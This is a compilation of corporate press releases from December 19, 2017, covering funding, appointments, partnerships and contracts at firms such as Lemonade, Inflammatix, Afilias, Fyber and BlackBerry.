Were thrilled that the people and companies at the forefront of enterprise data science today are as committed as we are to elevating the field, said William Merchan, chief strategy officer at DataScience.com. DataScience: Elevate provides a huge amount of value to anyone in a data-centric role, from data scientists and engineers to chief information officers and IT architects. Previous attendees have learned about a variety of real-world data science applications from the people who implemented them, including Live Nations globally-optimized tiket pricing strategy and the way Google supports decision making with data-driven tools.



DataScience: Elevate will feature a full day of panels, presentations, and networking opportunities designed to connect practitioners with seasoned data science experts. Speakers and panelists include: Kim Larsen, Director, Marketing Analytics at Uber

Raghav Singh, Director, Reporting and Analytics at Korn Ferry

Kristen Burton, Director, Digital Community Enablement at Cisco

Mike Gualtieri, VP, Principal Analyst at Forrester Research

And many more Free to attend, DataScience: Elevate is an invitation-only event. The public is invited to register for the live stream, which will be available from 9 a.m. to 4 p.m. PST on the day of the symposium. Additional speaker and panelist announcements will be made in the coming weeks, so be sure to visit www.datascience.com for updates.

About DataScience.com DataScience.com provides an enterprise data science platform that makes it easy and intuitive for data scientists to work collaboratively with IT and business teams on the data-driven projects that transform how companies do business. Explore and visualize data, share analyses, deploy models into production, and track performance  all from one place. Media Contact: Justin Charness DataScience.com [email protected] (310) 579-6200

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[December 19, 2017] Inflammatix Announces Appointment of Oliver Liesenfeld, M.D., as Chief Medical Officer

BURLINGAME, Calif., Dec. 19, 2017 /PRNewswire/ -- Inflammatix, a molecular diagnostics company that is developing rapid tests that read the immune system to improve disease diagnosis, today announced that Oliver Liesenfeld, M.D., has been appointed chief medical officer. Dr. Liesenfeld, a veteran of the diagnostics industry, comes to the company from Roche Molecular Diagnostics, where he served as chief medical officer since 2012. Dr. Liesenfeld will oversee the clinical studies and regulatory approvals needed to commercialize Inflammatix's HostDx tests, which will initially target acute infections and sepsis, respectively. These tests use the company's novel, validated, bioinformatics-based approach of reading the genomic "fingerprint" of the host response to disease to quickly determine if a patient has a bacterial and/or viral infection  and thus, whether they need antibiotics  and to measure the severity of disease to determine if the patient is likely to have or develop sepsis. "We are delighted to have an individual of Dr. Liesenfeld's experience and stature join our team as we transform infectious disease diagnosis and resolve the pressing public health challenges of antibiotic resistance and sepsis," said Tim Sweeney, M.D., Ph.D., cofounder and chief executive officer of Inflammatix. "With his extensive background in diagnostics, particularly in infectious diseases, and his broad regulatory experience, he will be key to helping us achieve our ambitious goals." Dr. Liesenfeld has over 25 years of industry and academic experience in the diagnostics field, with a focus on molecular diagnostics and infectious diseases. As chief medial officer at Roche Molecular Diagnostics, he built a state-of-the-art medical department and led the company's clinical science, medical affairs, clinical operations and biometrics functions. His team designed and executed numerous clinical trials to support regulatory approvals and commercialization of the company's broad product portfolio, including the LightCycler SeptiFast test for use in sepsis diagnosis. Prior to Roche, Dr. Liesenfeld served as associate professor of Medical Microbiology and Infection Immunology at the Charite Medical School in Berlin, Germany, where his research focused on the immune response to infections. He holds an M.D. and a doctoral (Dr. med) degree from the Free University of Berlin, Germany and completed his residency in medical microbiology and infection epidemiology at the Charite Medical School, Berlin. He also completed a postdoctoral fellowship in the Division of Infectious Diseases and Geographic Medicine at Stanford University. Dr. Liesenfeld has authored more than 160 articles in peer-reviewed journals and more than 30 book chapters.



"I believe that a data-driven, bioinformatics approach that measures patients' immune response represents the future of improved diagnosis for numerous diseases and conditions," said Dr. Liesenfeld. "I am excited to join Inflammatix and advance their groundbreaking work in acute infections and sepsis, where current testing methods are inaccurate or too slow. I look forward to bringing their HostDx tests into the clinic where they can support the improved management of patients, helping physicians quickly get the right treatments to the right patients." About Inflammatix

Inflammatix is a molecular diagnostics company that is developing rapid tests that use bioinformatics and machine learning to read the immune system, enabling improved patient care and reducing major public health burdens. The company's initial focus is on acute bacterial and viral infections, and sepsis, where its HostDx tests will allow physicians to quickly get the right treatments to the right patients, reducing morbidity and mortality, health system costs, and antibiotic resistance. While current tests diagnose infections by "finding the bug"  an approach that misses many infections because they never enter the bloodstream  Inflammatix evaluates the body's immune system response to provide more accurate and faster diagnosis. Its scientific approach has been validated in 38 cohorts involving over 2,400 patients and published in leading medical journals. The privately held, Burlingame, Calif.-based company is funded by Khosla Ventures, Stanford-StartX Fund and the U.S. government's Defense Advanced Research Projects Agency (DARPA). For more information, please visit www.inflammatix.com and follow the company on Twitter (@Inflammatix_Inc). Media Contact:

Tracy Morris

[email protected]

650-380-4413 View original content with multimedia:http://www.prnewswire.com/news-releases/inflammatix-announces-appointment-of-oliver-liesenfeld-md-as-chief-medical-officer-300572964.html SOURCE Inflammatix

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[December 19, 2017] Lemonade Announces $120 Million in Funding Led by the SoftBank Group

Lemonade Inc., the insurance company powered by artificial intelligence and behavioral economics, today announced the signing of a $120 million Series C funding round led by the SoftBank Group ("SoftBank"), with participation from existing investors. Lemonade plans to use the funds to accelerate its global expansion in 2018. Founded by tech veterans Shai Wininger and Daniel Schreiber, Lemonade is a technology company that is also licensed as a full-stack property and casualty insurance carrier. The company began offering homeowners and renters insurance in New York in late 2016, and is now licensed by 25 states, home to two-thirds of the US population. "The insurance brands we know today came of age in the era of the horse-drawn carriage," said Daniel Schreiber, CEO & Co-Founder, Lemonade. "But insurance is best when powered by AI and behavioral economics, which is why we believe that companies built from scratch, on a digital substrate and with a social mission, will enjoy a structural advantage for decades to come." In addition to digitizing the entire insurance process, Lemonade reduces costs and bureaucracy through giving. In a reversal of the traditional insurance model, Lemonade takes a flat fee and donates a portion of unclaimed premium dollars to nonprofits during its annual 'Giveback'. In its first year in market, Lemonade gave back over 10% of its revenues, set a world record when it paid a claim in 3 seconds, launched insurance as an API, and used AI to offer the first insurance policies with 'Zero Everything': zero deductible, zero rate hikes, zero depreciation.



"SoftBank is an ideal partner for us and we are thrilled to have them on board," said Shai Wininger, President & Co-Founder, Lemonade. "We share SoftBank's conviction that big data and machine learning are set to profoundly remake our entire industry, and SoftBank has the vision and means to enable this common vision to become a reality." SoftBank joins prior investors Aleph, Allianz, General Catalyst, GV (Google Ventures), Sequoia Capital (News - Alert), Sound Ventures, Thrive Capital, Tusk Ventures, and XL Innovate. The SoftBank Group's David Thevenon will join Lemonade's board.

"By combining big data and AI with a seamless user experience, Lemonade is truly revolutionizing the insurance industry," said David Thevenon, a senior investment professional within the SoftBank Group. "We have been impressed by the team's creative approach to disrupting the traditional insurance model with innovations like Zero Everything policies and Giveback, and we look forward to supporting the company's rapid growth." The transaction is expected to close in Q1 2018, subject to receipt of regulatory approvals and satisfaction of other customary closing conditions. About Lemonade Lemonade Insurance Company is a licensed insurance carrier, offering homeowners and renters insurance powered by artificial intelligence and behavioral economics. By replacing brokers and bureaucracy with bots and machine learning, Lemonade aims for zero paperwork and instant everything. As a Certified B-Corp, where underwriting profits go to nonprofits, Lemonade is remaking insurance as a social good, rather than a necessary evil. Lemonade is currently available in eight US states, including California, Illinois, New Jersey, New York, and Texas; licensed in 17 more states and looks to expand globally. Stay in touch at http://www.lemonade.com, @lemonade_inc or http://www.facebook.com/lemonade. View source version on businesswire.com: http://www.businesswire.com/news/home/20171219005232/en/

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[December 19, 2017] Afilias Selected to Provide Registry Services for .AU ccTLD

DUBLIN, Dec. 19, 2017 /PRNewswire/ -- Afilias announced today that Afilias Australia Pvt. Ltd, a wholly owned subsidiary located in Melbourne, has been chosen by .au Domain Administration Limited (auDA) to provide registry services in support of Australia's .AU country code Top Level Domain (ccTLD) beginning July 1, 2018. The selection is the culmination of a careful, public Request for Tender process kicked off by auDA on September 1, 2017. Afilias was selected from a wide range of applicants from all over the world. The selection of Afilias will help fulfill the goals of auDA's Registry Transformation Project, which aims to further enhance community trust in the .au domain by ensuring the reliability and security of operations as well as the confidentiality, integrity and availability of data. The project also promotes the development of data analytics capabilities within auDA to support compliance and policy development. Technical specifications for the new registry contract were developed in consultation with auDA accredited registrars and the wider Australian internet community and will deliver even higher levels of security and reliability going forward. Under the agreement, Afilias will establish both primary and back-up registry operations in Australia. Afilias will move its office to Melbourne and expand staffing to both enable 24x7 service to registrars and provide resources to work closely with auDA to further develop the .au namespace. John Kane, Afilias' Vice President, Corporate Services, will be leading Afilias' Australian operations from Melbourne. According to auDA CEO Cameron Boardman, "Afilias impressed us with the thoroughness of their proposal, their clear understanding of the challenges of both a transition of thi magnitude and the daily operations, and their track record of partnership in support of the TLDs in their care. We look forward to working with them."



Afilias' CEO Hal Lubsen added "Afilias is proud to be trusted with stewardship of the .AU TLD. We are committed to working with Cameron and his team to deliver a smooth transition for registrars and registrants and to support .AU names with a new dedication to reliability and security." Afilias already supports 13 other ccTLDs, including .IN (India), which grew from a few thousand names to over 2M names.

About auDA

.au Domain Administration Limited (auDA) is the administrator and industry self-regulatory policy body for Australia's .au domain space. auDA serves to advance and enhance the .au space for the benefit of all Australians. auDA is endorsed by the Australian Government and recognised by the International Corporation for Assigned Numbers and Names (ICANN) as the manager of the .au domain space. auDA is committed to the multi-stakeholder approach to internet governance, representing the interests of .au around the world and plays a vital role in ensuring a stable and secure .au domain space. For more information, visit www.auda.org.au About Afilias

Afilias is the world's second largest domain registry, with millions of domain names under management. Afilias powers a wide variety of top-level domains, including TLDs for countries, cities, brands, communities and generic terms. Afilias' specialized technology makes Internet addresses more accessible and useful through a broad range of applications, including Internet domain registry services, managed DNS, and mobile Web services. For more information on Afilias services, visit www.afilias.info. For More Information: Afilias

Alan Wallace, Director of Corporate Communications

[email protected]

+1.425.691.8757 cell auDA

Michelle Edmunds

CPR Communications & Public Relations

[email protected]

+61 (3) 96544799 View original content with multimedia:http://www.prnewswire.com/news-releases/afilias-selected-to-provide-registry-services-for-au-cctld-300573116.html SOURCE Afilias

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[December 19, 2017] New "Test and Treatment" Allergy Program Enables All Physicians To Provide Convenient And Effective Allergy Care

New York City, Dec. 19, 2017 (GLOBE NEWSWIRE) -- Pediatric Allergy Solutions (PAS) and Allovate Therapeutics (Allovate) announce that they have signed an exclusive agreement to combine PASs simple and minimally invasive fingerstick allergy test (the Test) and Allovates Allerdent, a patented toothpaste-based system for the delivery of allergy immunotherapy (the Treatment) to enable primary care physicians to offer personalized allergy care. Pediatric Allergy Solutions Logo



Allergy immunotherapy has been shown to significantly reduce or eliminate the body's allergic responses to pollen, animal dander, dust, and other allergens. PAS and its sister organization, Optimum Allergy Solutions, are bringing a unique allergy immunotherapy-centered Test and Treatment program to over 250,000 primary care physicians across the U.S. PAS will expand access to accurate diagnosis and desensitization therapy for the 60 million Americans who suffer symptoms of airborne allergies. Clinicians who take part in the PAS program are now able to test allergy sufferers for specific allergies with a simple and safe fingerstick blood test, exclusive to the PAS program, requiring only drops of blood. The dried blood samples are sent to a PAS laboratory partner to be assessed for 145 different respiratory and food allergy sensitivities using a proprietary macroarray based technology. The laboratory sends the diagnostic report back to the clinician to be reviewed with the patient. The physician can then prescribe a personalized and convenient allergy immunotherapy for respiratory allergies in the form of a specialized toothpaste  Allerdent. Allerdent is a patented oral mucosal immunotherapy system that uses a specially formulated, fully-functional toothpaste into which proteins, such as FDA-approved respiratory immunotherapy agents, can be stably incorporated. This format enables patients to administer daily immunotherapy as they brush their teeth. By coupling a daily oral care ctivity with allergy immunotherapy, Allerdent can help resolve the crisis of compliance that limits the use and effectiveness of other forms of allergy immunotherapy, such as painful subcutaneous injections.



"Our agreement with PAS will make Allerdent available to general practitioners in all 50 states. Were excited to partner with PAS to roll out their Test and Treatment program featuring Allerdent to general practitioner and pediatric clinicians throughout the U.S., said Erick Berglund, PhD., Co-Founder and CEO of Allovate. "We know that the vast majority of allergy sufferers currently only manage their symptoms because of the inconvenience of receiving weekly immunotherapy shots at an allergists office. I am confident that this program will finally bring effective allergy immunotherapy within reach for a large percentage of allergy sufferers due to the ease of doing something that we already do each morning, which is simply brushing our teeth," said Richard Orchard, Co-Founder of PAS. "The importance of primary care and pediatric physicians having access to this simple and accurate Test and Treatment combination cannot be overstated.

In my 30 years of experience I have never witnessed the amount of immediate and unsolicited interest I have received from distributors, sales representatives, physicians and allergy sufferers. The PAS program is being well received as there effectively has not been any new test or treatment solutions for allergy sufferers in over 25 years. In addition to the U.S., we are also talking with the ministries of health in 20 countries to address this global need. Michael Blundetto, Co-Founder of PAS. Physicians interested in learning about the PAS allergy Test and Treatment program should call PAS at (877) 321-6337 ext. 4. Distributors, sales representatives and allergy sufferers interested in locating a physician offering the PAS program can contact PAS at www.PediatricAllergySolutions.com About Oral Mucosal Immunotherapy

Allergen-specific immunotherapy is the only treatment method that targets the root cause of allergies, consistently exposing the allergy sufferer's immune system to small amounts of allergen proteins to desensitize them to the allergens over time. Oral mucosal immunotherapy (OMIT) uses a proprietary, specially formulated toothpaste to incorporate and stabilize allergenic proteins that are administered while users brush their teeth. OMIT simplifies long-term daily adherence to immunotherapy for patients, while delivering key agents to broad areas of the oral cavity, including those with the highest density of the immune cells responsible for effecting immunotherapy. About PASs Exclusive Macroarray Allergy Testing

PAS affiliated laboratories are the exclusive licensees of the macroarray allergy test. The new fingerstick blood assays for 145 allergic sensitivities (including environmental, non-inhalant, and food allergens), as opposed to an average of 40-50 allergens included on typical allergy tests. About Allovate Therapeutics

Allovate Therapeutics is a New York City-based biopharmaceutical company founded in 2012 with the mission to improve allergy treatment for all patients. Allovate's lead product, Allerdent, is designed to deliver proteins, such as immunotherapeutic agents, to the immune system while users brush their teeth. Allovates licensee, Intrommune Therapeutics, is exploring allergy immunotherapy for life-threatening food allergies.

For more information, please visit www.allovate.com . About Pediatric Allergy Solutions

PAS was created to improve the quality of life for millions of patients by providing the most advanced allergy testing and treatment protocols available. Respiratory allergies affect at least 60 million people in the United States, resulting in 11.1 million visits to the doctor in 2010. Symptomatic treatment, at a cost of over $18 billion yearly, keeps symptoms at bay temporarily but does not offer a long-term solution. PASs exclusive Test and Treatment combines a simple and minimally invasive allergy diagnostic test with easy to use oral mucosal immunotherapy.

For more information, please visit www.PediatricAllergySolutions.com and www.OptimumAllergySolutions.com For more information, please contact: Michelle Mantia Outreach Manager Allovate Therapeutics [email protected]

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[December 19, 2017] Next Group Holdings, Inc. Completes Retirement of All Convertible Debt With Three Major Note Holders

MIAMI, December 19, 2017 /PRNewswire/ -- Next Group Holdings, Inc. (OTCQB: NXGH) today announced that the Company has fulfilled the terms of the Definitive Material Agreements with its three major convertible noteholders, thereby retiring all convertible debt held by them. Under terms of the agreements, NXGH has delivered to the three noteholders an aggregate of $400,000 cash, and has ordered issuance of 20 million shares of NXGH common stock. With the retirement of the Convertible Notes, all shares previously held in reserve accounts have been released and returned to NXGH Treasury. Arik Maimon, Next Group Holdings CEO, said "The Company incurred this debt to help fund operations through an important phase of development and growth, and we are extremely pleased to let our shareholders know that it has been fully repaid. We are proud of NXGH management's ability to manage complex situations such as this, and to resolve the debt as quickly as possible. We are especially grateful to Orlando Taddeo and the team at our new wholly owned subsidiary, Limecom, for their tremendous support in bringing about what we know will be a whole new chapter of success for Next Group." "With the favorable retirement of this convertible debt and return to the NXGH Treasury of all the shares that were once held in reserve accounts against those notes, NXGH has preserved considerable shareholder value in the Company," said Michael De Prado, Next Group Holdings President. "With our recently completed acquisitions of Limecom, Inc. and SDI Next Distribution, this company is poised for a great new ear of growth and profitability."



Following are the noteholders, and their agreed-upon proceeds in exchange for retirement of convertible notes: LG Capital Funding LLC has surrendered $681,565 in convertible notes in exchange for $280,000 in cash and 11,473,289 shares of NXGH common stock.

in convertible notes in exchange for in cash and 11,473,289 shares of NXGH common stock. Cerberus Finance Group, Ltd. has surrendered $259,438 in convertible notes in exchange for $60,000 in cash and 5,698,321 shares of NXGH common stock.

in convertible notes in exchange for in cash and 5,698,321 shares of NXGH common stock. Quarum Holdings, LLC has surrendered $158,997 in convertible notes in exchange for $60,000 in cash and 2,828,480 shares of NXGH common stock. About Next Group Holdings, Inc.

NXGH is a corporation headquartered in Miami, Florida, which, through its operating subsidiaries, engages in the business of using proprietary technology and certain licensed technology to provide innovative mobile banking, mobility, and telecommunications solutions, including wireless MVNO, to underserved, unbanked, and emerging markets. NXGH's principal executive offices are located at 1111 Brickell Avenue, Suite 2200, Miami, Florida 33131, and its telephone number at that location is (800) 611-3622. NXGH's web address is http://www.nextgroupholdings.com.

THIS NEWS RELEASE CONTAINS "FORWARD-LOOKING STATEMENTS", AS THAT TERM IS DEFINED IN SECTION 27A OF THE UNITED STATES SECURITIES ACT OF 1933, AS AMENDED, AND SECTION 21E OF THE UNITED STATES SECURITIES EXCHANGE ACT OF 1934, AS AMENDED. STATEMENTS IN THIS NEWS RELEASE, WHICH ARE NOT PURELY HISTORICAL, ARE FORWARD-LOOKING STATEMENTS AND INCLUDE ANY STATEMENTS REGARDING BELIEFS, PLANS, EXPECTATIONS OR INTENTIONS REGARDING THE FUTURE. EXCEPT FOR THE HISTORICAL INFORMATION PRESENTED HEREIN, MATTERS DISCUSSED IN THIS NEWS RELEASE CONTAIN FORWARD-LOOKING STATEMENTS THAT ARE SUBJECT TO CERTAIN RISKS AND UNCERTAINTIES THAT COULD CAUSE ACTUAL RESULTS TO DIFFER MATERIALLY FROM ANY FUTURE RESULTS, PERFORMANCE OR ACHIEVEMENTS EXPRESSED OR IMPLIED BY SUCH STATEMENTS. STATEMENTS THAT ARE NOT HISTORICAL FACTS, INCLUDING STATEMENTS THAT ARE PRECEDED BY, FOLLOWED BY, OR THAT INCLUDE SUCH WORDS AS"ESTIMATE", "ANTICIPATE", "BELIEVE", "PLAN" OR "EXPECT" OR SIMILAR STATEMENTS ARE FORWARD-LOOKING STATEMENTS. FORWARD-LOOKING STATEMENTS CONTAINED IN THIS NEWS RELEASE INCLUDE STATEMENTS RELATING TO OTHER PUBLICLY AVAILABLE INFORMATION REGARDING THE COMPANY. Contacts:

NXGH Investor Relations:

Dave Gentry

RedChip Companies Inc.

[email protected]

407-491-4498 for Next Group Holdings, Inc.:

Paul Gendreau

PGPR

[email protected]

678-807-7945 SOURCE Next Group Holdings, Inc.

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[December 19, 2017] DocuSign Creates Signature Sales Compensation Program With Xactly

Xactly, a leading provider of cloud-based incentive solutions, today announced that DocuSign is using Xactly (News - Alert) to optimize and take its sales compensation program to the next level. With data-driven intelligence from Xactly, DocuSign is able to better compete in the market by more effectively serving, retaining and growing its world-class sales team. DocuSign is changing how business gets done by empowering more than 250,000 companies and 100 million users with a trusted way to quickly make every approval and decision digital. A fast-growing company, they wanted to apply that same level of agility to their sales processes. By integrating its SPM, CRM, ERP and billing data in Xactly, DocuSign is able to eliminate data silos, improving transparency and gaining a single source for all its compensation information. Applying Xactly AnalyticsTM, Xactly InsightsTM, and Xactly ModelingTM, the company has been able to gain a new level of intelligence into what drives performance and motivates reps, all while mitigating risk. "Sales reps are ambassadors for your company and the point of entry for your customers. Xactly provides them real-time data on how they are performing - and that is a great mtivator. Xactly Insights also helps us understand best practices around pay and performance - key data that we can use with HR to enhance recruiting and retention. When it comes to sales, we want to be more than competitive and Xactly helps us achieve that goal," said Neil Hudspith, president, worldwide field operations, DocuSign.



Today, DocuSign is using Xactly to apply data-driven intelligence to all aspects of its incentive compensation plans and quota setting - enabling fair, transparent, and understandable incentive compensation plans. This is not only key in engaging top sellers, but also support teams. Moreover, applying big data insights and mapping their initiatives to industry best practices has allowed the company to reimagine their compensation strategy to inspire better performance. "Xactly has taken our sales compensation to a different level. We are no longer talking about just pay, but how we go to market, sales strategy and how we serve our sales organization better. I have used Xactly for more than a decade, at three different companies. I couldn't imagine doing my job without it," said Ely Lai, sr. director, global sales compensation, DocuSign.

About Xactly Headquartered in San Jose, California, Xactly is a leading provider of enterprise-class, cloud-based, incentive compensation solutions for employee and sales performance management. Xactly addresses a critical business need to incentivize employees and align their behaviors with company goals. Our products allow organizations to make more strategic decisions, increase employee performance, improve margins, and mitigate risk. Our core values are key to our success, and each day we're committed to upholding them by delivering the best we can to our customers. To learn more about Xactly and the latest issues and trends in SPM software, follow us on Twitter, Facebook, and subscribe to the Xactly blog. 2017 Xactly Corporation. All rights reserved. Xactly, Xactly Insights, the Xactly logo, and "Inspire Performance" are registered trademarks or trademarks of Xactly Corporation in the United States and/or other countries. All other trademarks are the property of their respective owners. Salesforce and others are among the trademarks of Salesforce.com (News - Alert), Inc. View source version on businesswire.com: http://www.businesswire.com/news/home/20171219005371/en/

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[December 19, 2017] Incentivefox, Leader in Automotive and Small Business Reward, Referral and Customer Retention Programs Takes Employee Retention and Engagement to the Next Level

CHICAGO, Dec. 19, 2017 (GLOBE NEWSWIRE) -- Incentivefox, a leader in revolutionary marketing programs that utilizes a customizable reward platform where companies can easily collect referrals and re-engage with their customer base has announced details of its latest offering, Employee Rewards. A new solution that works within the Incentivefox platform to increase employee appreciation and retention. According to Towers Watson, in environments where opportunity and well-being are part of the culture strong manager performance in recognizing employee performance increases engagement by almost 60%. With the Incentivefox platform you can track and reward employees.



According to the National Automobile Dealers Associations 2016 Dealership Workforce Study, the three-year employee retention rate at dealerships reached a new low last year, dropping two percentage points from 2014 to 45 percent, vs. a 67 percent rate overall in the U.S. nonfarm private sector. Furthermore, the study called the decline an alarming trend, saying it represents a drain on the industry of talent and cumulative work experience. The result, the study said, is reduced productivity, reduced median and average earnings, and reduced dealership profitability. Unfortunately, the issues dont stop there. According to Socialcast, "69% of employees would work harder if they felt their efforts were better appreciated." The number-one reason most Americans leave their jobs is that they dont feel appreciated. In fact, according to Gallup, Tom Rath and Donald Clifton, How Full Is Your Bucket? Positive Strategies for Work and Life, 2001 65% of people surveyed said they got no recognition for good work last year.



Incentivefox wants to make expressing appreciation and retaining your top employees simple. Companies with strategic employee recognition programs in place see stronger employee performances by almost 60%. The Incentivefox platform allows management teams to track top performers and reward them for their actions as well as receive increased visibility to workplace happenings. Placing these vital reports and integral information into the hands of management, allows for better alignment of their workforce, and gives keen insight into which employees require additional training and to reward employees for any number of milestones.

The Incentivefox platform not only saves the management team time, it improves overall company culture and branding. Every employee is rewarded with a dealership-branded, personalized and reloadable reward card. The employee can then choose how to spend their reward dollars around town. The ability to showcase your company name results in previously untouchable brand reach. Your employees will be using your custom company branded reward card at local grocery stores, restaurants and shops, making your brand visible to friends, family and potential customers. Click here to request a demo of the employee rewards solution or any of their other solutions such Referral Rewards, BeBacks, direct mail, website conversion tools and more. About Incentivefox

Incentivefox (www.incentivefox.com), an offer and incentive solution platform provider. Boosting referrals, retention and revenue by creating and delivering enticing offers and experiences to your customers, partners and employees. Founded in 2014, Incentivefox solutions are used by dealerships, OEMS and small businesses all over the country. Visit the Incentivefox blog and keep up-to-date on the latest news, trends and press releases. Incentivefox Media Contacts

Kristen Tepper, Incentivefox, [email protected] A photo accompanying this announcement is available at //www.globenewswire.com/NewsRoom/AttachmentNg/f5c16f7e-7c55-44d4-a1fd-9f6b44211b9a

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[December 19, 2017] Four Points Technology, LLC is awarded DoD Enterprise Software Initiative Blanket Purchase Agreement for Quest Software

WASHINGTON, Dec. 19, 2017 (GLOBE NEWSWIRE) -- Four Points Technology, LLC has been awarded the DoD Enterprise Software Initiative (ESI) Blanket Purchase Agreement (BPA) for Quest Software. This is a dual-award BPA which has a ceiling value of $40 million.

The contract is a five-year, dual-award Blanket Purchase Agreement with Army Contracting Command - Rock Island, which will allow DoD agencies to procure Quest Software and support. Four Points is a small business GSA Schedule holder and the sole small business awardee for the BPA. This is a GSA Software Purchase Agreement BPA with a period of performance from November 2017 through November 2022. "As a GSA Schedule Letter of Supply holder and partner with Quest Software since 2014, we are pleased to provide their solutions to our DoD customers. The IT landscape our customers must manage is complex so utilizing tools with Quest Software helps toimprove their efficiency and effectiveness while reducing the complexity. Tools that can help minimize their risk profile and better manage their portfolio globally allows our customers to focus on more critical and urgent tasks while freeing up resources," stated David Gilchrist, Chief Executive Officer at Four Points Technology.



The available solutions offered under the ESI BPA includes Quest brand name Commercial-Off-The-Shelf (COTS) Quest Enterprise Management Software (EMS) products inclusive of software licenses, media, and maintenance for Information Management, Microsoft Platform Management, Identity & Access Management, Endpoint Systems Management, Data Protection, Performance Monitoring and Support in support of the DoD mission. About Four Points Technology

Four Points Technology, a Service-Disabled Veteran-Owned Small Business (SDVOSB), is dedicated to providing IT products and professional services to the Federal government. Four Points offers solutions that support a wide variety of business initiatives specifically suited for Government organizations. www.4points.com

Contact Info:

Denise L. Harrison

[email protected]

(703) 657-6108

Four Points Technology, LLC

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[December 19, 2017] Fyber Partners With Innovid to Bring Scale to VPAID Mobile Video

NEW YORK, December 19, 2017 /PRNewswire/ -- Fyber, a programmatic trading technology platform, has partnered with Innovid, the world's leading video marketing platform, to scale programmatic supply of VPAID video ads on mobile and in-app on its Video Advertising Monetization Platform (VAMP). Fyber's proprietary in-app video player can now respond to the growing programmatic dollars going to mobile apps and enables publishers who support VPAID (Video Player Ad Interface Definition) to demand higher prices for the premium, interactive experience they enable an advertiser to offer. With VAMP, Fyber has introduced a suite of video units that are tailored for the in-app environment and support VPAID. Those include outstream units such as landscape, square, and other full screen ad units such as rewarded video, and skippable interstitials. VPAID ads enable more user interactions and provide enhanced measurability (e.g. video impression, completion rates, interactive event reporting, viewability), brand safety and fraud feedback to the advertiser, becoming the format of choice of most advertisers. Compared to desktop, this supply has been scarce on mobile and almost non-existent in the in-app environment. Fyber and Innovid's partnership opens the market to more DSPs, advertisers and brands who are looking for VPAID inventory and equips publishers with greater access to the industry's best demand sources. "We're heavily invested in in-app, programmatic selling, and monetization. Therefore, it was imperative that VAMP support the industry's most common formats. Being able to support VPAID in an in-app environment is essential to the programmatic trading of mobile video ads." said Roni Anavi-Fass, P Product at Fyber. "We are tremendously excited about our close work with Innovid, ensuring our video player functionality would meet the demands of DPSs, direct demand partners, and brands. Innovid's position as the primary video ad server for hundreds of brand advertisers made it a company we wanted to work with."



As the industry moves from an impressions-served standard to an impressions-viewed standard, demand for VPAID has grown. That said, because the VPAID standard pre-dates the growth of the mobile video market, much of the existing VPAID inventory has not been built specifically with mobile in mind. Fyber's solution is a much-needed exception to that rule. "Fyber has proven that they can deliver VPAID mobile ads with advanced functionality at scale," said Michael Tuminello, VP Solutions and Partnerships at Innovid. "Both VAST and VPAID need to improve to meet advertiser expectations for mobile performance and transparency, and Innovid is committed to efforts to improve both standards. Since the mobile ecosystem is slow to change, having an improved mobile in-app solution for existing VPAID demand is a good move, and we are proud to be part of Fyber's success adding support of VPAID to VAMP."

Beyond enabling both VAST and VPAID formats, VAMP also supports a wide variety of mobile ad units including in-feed videos in landscape, medium rectangle and square (1:1 aspect ratio), interstitial video (both vertical and horizontal), rewarded video, and more, along with general settings such as sound on/off, ability to skip, etc. All in-feed units support Inneractive's proprietary 'story-telling' behavior which allows the video to play in consecutive ad slots, and to auto-pause and auto-resume as user scrolls to ensure viewability and high completion rates. About Fyber

Fyber is a global technology company, developing a next generation platform for the programmatic trading of mobile video ads, in a data-driven environment. Its mission is to fuel the creation of quality content by empowering publishers to unlock the true value of their advertising properties through advanced technologies, innovative ad formats and data-driven decision-making. It was previously named a Deloitte Technology Fast500 Company for EMEA and Deloitte Fast50 Company for Israel. Fyber, a publicly traded company (ticket FBEN), and has six worldwide offices in Tel Aviv, Berlin, New York, San Francisco, London, and Beijing. For more information, visit http://www.fyber.com . About Innovid

Innovid is the world's #1 online video marketing platform, delivering more video than any company across PCs, tablets, mobile phones, smart TVs and streaming devices. Innovid helps leading advertisers and agencies leverage the power of data to create interactive and personalized video that delivers 80 percent higher performance than traditional pre-roll. Most recently, Innovid was featured in Business Insider's 19 Most Interesting Ad-Tech Startups of 2017. Please visit http://www.innovid.com for more information.

Fyber

Einav Dinur

VP Marketing

[email protected] Spicetree Communications

Wes Rogers

Mobile: +1-912-506-0869

[email protected]

SOURCE Inneractive

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[December 19, 2017] BigRoad Loads Up on BlackBerry Radar

The Fleet Complete Company purchases BlackBerry Radar-M devices to optimize its new BigRoad Freight program WATERLOO, ON and TORONTO, Dec. 19, 2017 /CNW/ - BlackBerry Limited (NYSE: BB; TSX: BB) and Fleet Complete announced today an expansion of their partnership with the purchase of BlackBerry Radar-M devices for BigRoad - A Fleet Complete Company. The addition of BlackBerry Radar will strengthen the company's new BigRoad Freight program, which gives owner-operators and fleets the ability to book the loads they want while ensuring quick payment and providing hours-of-service (HOS) visibility from within the BigRoad Mobile App electronic logbook. "With BlackBerry Radar, BigRoad users will immediately see the benefits that come from unparalleled visibility into their cargo and mobile fleet assets," said Philip Poulidis, SVP and GM of BlackBerry Radar. "Radar-M provides up-to-date information on a trailer's available capacity and location so that drivers are able to know exactly when and where they are able to take on more loads." "Fleet Complete and BigRoad are committed to finding innovative ways to help drivers save time, comply with government regulations, and more importantly, make more money," said Tony Lourakis, CEO of Fleet Complete. "We're excited to expand our relationship with BlackBerry and increase the power and potential of the BigRoad Freight program with BlackBerry Radar." BigRoad Freight empowers drivers to book the loads they want, when they want, 24/7 from within the BigRoad Mobile App on the phone or tablet. By leveraging real-time location informaion and a unique compliance availability dataset, shippers and carriers benefit from improved schedule predictability and asset optimization. The Radar-M devices will provide BigRoad's customers with visibility into the available load capacity of its trailers, which will then enable the platform to match drivers with additional shipments along their route.



BlackBerry Radar is an innovative, easy-to-install and data-driven solution that provides near real-time information such as vehicle location, route and mileage, temperature, humidity, door status, and cargo load state on a single intuitive on-line dashboard. It collects up to 100x more data than conventional GPS-based track and trace solutions, and uses this information to build a 360-degree visualization of a customer's assets to ensure safety, security, and regulatory compliance. All data is stored securely on a cloud platform, which maintains the privacy of user information at all times. To find out more about BlackBerry Radar, visit www.blackberry.com/radar. For more information on the BigRoad Freight program, visit: www.bigroad.com/freight.

About BlackBerry

BlackBerry is a cybersecurity software and services company dedicated to securing the Enterprise of Things. Based in Waterloo, Ontario, the company was founded in 1984 and operates in North America, Europe, Asia, Australia, Middle East, Latin America and Africa. The Company trades under the ticker symbol "BB" on the Toronto Stock Exchange and New York Stock Exchange. For more information, visit www.BlackBerry.com. About BigRoad

